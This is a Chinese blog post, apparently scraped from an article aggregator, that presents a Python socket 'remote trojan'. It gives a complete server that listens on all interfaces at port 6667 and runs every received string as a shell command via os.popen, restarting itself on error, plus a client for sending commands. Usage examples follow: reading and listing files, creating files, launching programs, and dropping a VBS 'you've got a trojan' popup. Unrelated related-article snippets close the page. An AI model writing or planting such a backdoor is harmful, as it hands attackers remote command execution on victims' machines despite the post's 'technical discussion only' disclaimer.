基于Python实现socket远程木马

news/2024/5/18 14:09:06 标签: 网络, 服务器, udp

基于Python实现socket远程木马

严正声明:本文仅限于技术讨论,严禁用于其他用途。

基础知识

  • socket通信模块:针对TCP/IP协议簇进行的程序封装,在Windows/Linux均有这样底层模块。
  • Unicode 有多种存储方式,常见的有 UTF-8、UTF-16、UTF-32,它们分别用不同的二进制格式来表示 Unicode 字符
  • 如果全部英文或英文与其他文字混合,但英文占绝大部分,用UTF-8就比UTF-16节省了很多空间.而如果全部是中文这样类似的字符或者混合字符中中文占绝大多数.UTF-16就占优势了,可以节省很多空间

编码:

  • 英文多:建议用UTF-8编码(utf-8是使用最多的编码方式,是一种变长字符编码)

  • 中文多:建议用UTF-16编码

  • 中文:window中文采用的是GBK格式编码

netstat -ant :只显示传输层的数据 TCP,UDP连接,可以用来检查socket服务是否起了

image-20220616005737037

服务端(server)程序

import socket, os

def attack():
    try:
        s = socket.socket()
        s.bind(('0.0.0.0', 6667)) #   使用缺省地址,所有设备均可访问该服务器的6667端口
        s.listen()     #    对6667端口进行监听
        chanel, client = s.accept() #   进入阻塞状态,accept() 返回元组,接受来自客户端的数据,chanel:新的socket对象用于标识出服务器和哪个客户端连接进行通信,  client: 客户端的IP和端口
        while True:
            receive = chanel.recv(1024).decode()
            reply = os.popen(receive).read()
            chanel.send(f"命令{receive}的运行结果:\n{reply}".encode())
    except:
        s.close()
        attack()


if __name__ == '__main__':
    attack()

客户端(client)程序

import socket

s = socket.socket()
s.connect(('192.168.137.1', 6667))	#192.168.137.1是socket服务器的地址

while True:
    sendstr = input("请输入消息:")
    s.send(sendstr.encode())
    receive = s.recv(1024).decode()
    print(f"服务器回复:{receive}")
    # s.close()

其他命令执行函数:

提示:需要导入 os 模块—— import os

os.system('ipconfig')

os.popen('ipconfig').read()

eval()		# 将字符串按照Python代码来执行

该木马程序的基本用法

1、查看文件内容

window

type 文件绝对路径

linux

cat 文件路径

2、查看文件目录

window

dir				#查看当前文件路径目录
dir 文件路径	 #查看指定文件路径目录

linux

ls				#查看当前文件路径目录
ll				#查看当前文件路径目录详细信息
ls 文件路径		 #查看指定文件路径目录
ll 文件路径		 #查看指定文件路径目录详细信息

3、创建文件或目录

windows

echo test >> demo.txt	#创建一个demo.txt文件,文件内容为 test

linux

mkdir 路径	#创建目录
echo test >> demo.txt	#创建一个demo.txt文件,文件内容为 test

4、调用windows应用程序

调用计算器

calc.exe
image-20220616010017530

调用其他引用程序

直接输入应用程序绝对路径

5、调用Windows弹窗

echo msgbox("你中木马了!!")  > E:\hi.vbs	
E:\hi.vbs
image-20220616005506230

http://www.niftyadmin.cn/n/1019705.html

相关文章

java更新类_Java8学习笔记之类库的更新

1、集合Collection API在Java 8中重大的更新就是引入了流,此外Collection API还有一部分更新。1)其他新增的方法Java API的设计者们充分利用默认方法,为集合接口和类新增了多个新的方法。集合类和接口中新增的方法MapMap接口的变化是增加了多个新方法&am…

浏览器访问web服务器经过了哪些过程

文章目录一、URL输入二、DNS解析三、建立TCP连接四、发送HTTP/HTTPS请求五、服务器响应请求六、浏览器解析渲染页面七、HTTP请求结束,断开TCP连接八、总结一、URL输入 输入URL URL,全称叫做统一资源定位符,用于定位互联网上的资源&#xff0…

java请求抓包_java使用抓包获得应用发送的对外的请求

java使用jpcap抓包工具获得本机发送的所有tcp请求,根据tcp请求的内容可以调试某个应用启动后对外发送的相关http请求或者sql连接请求,这样可以很好的调试我们的程序。很不错的一种应用无侵入性的调试本机发送的http接口,sql连接接口等。impor…

https通信原理

什么是http? 超文本传输协议(Hyper Text Transfer Protocol,HTTP)是一个简单的请求-响应协议,它通常运行在TCP之上。它指定了客户端可能发送给服务器什么样的消息以及得到什么样的响应。请求和响应消息的头以ASCII形式给出&…

PostgreSQL的监控一(pgsnap pgstatspack)

转载:http://blog.chinaunix.net/uid-20726500-id-4504167.html 监控postgreSQL的方法很多,本文做个简单的比较。 大的方面,监控方法可以分为以下几种1 直接利用PG提供的性能统计数据 PG的很多性能数据可以通过查询pg_stat_或pg_statio_开…

【Matlab优化预测】EMD优化SVR数据预测【含源码 1403期】

一、代码运行视频(哔哩哔哩) 【Matlab优化预测】EMD优化SVR数据预测【含源码 1403期】 二、matlab版本及参考文献 1 matlab版本 2014a 2 参考文献 [1]尹怡楠,胡雄,胡一民.基于SVR的桥吊实时应力预测模型及其应用[J]. 中国航海. 2015,38(01)

MySQL中delete、Truncate、drop的区别

MySQL中delete、Truncate、drop的区别 参考文章:drop、truncate和delete的区别 - 支照 - 博客园 (cnblogs.com) 文章目录MySQL中delete、Truncate、drop的区别一、删除的内容:a、deleteb、truncatec、drop二、删除过程:三、表和索引所占空间…

java中遍历set中数据结构_Java中Set的数据结构及基本功能使用

Set是一个接口,它有两种实现分别是HashSet和TreeSet。 Set的特点是不保存重复的元素,它和数学概念上的集合相似,它支持交集、并集、差集操作。 本文将介绍HashSet和TreeSet使用的数据结构以及两种Set实现各自的应用场景,然后介绍交…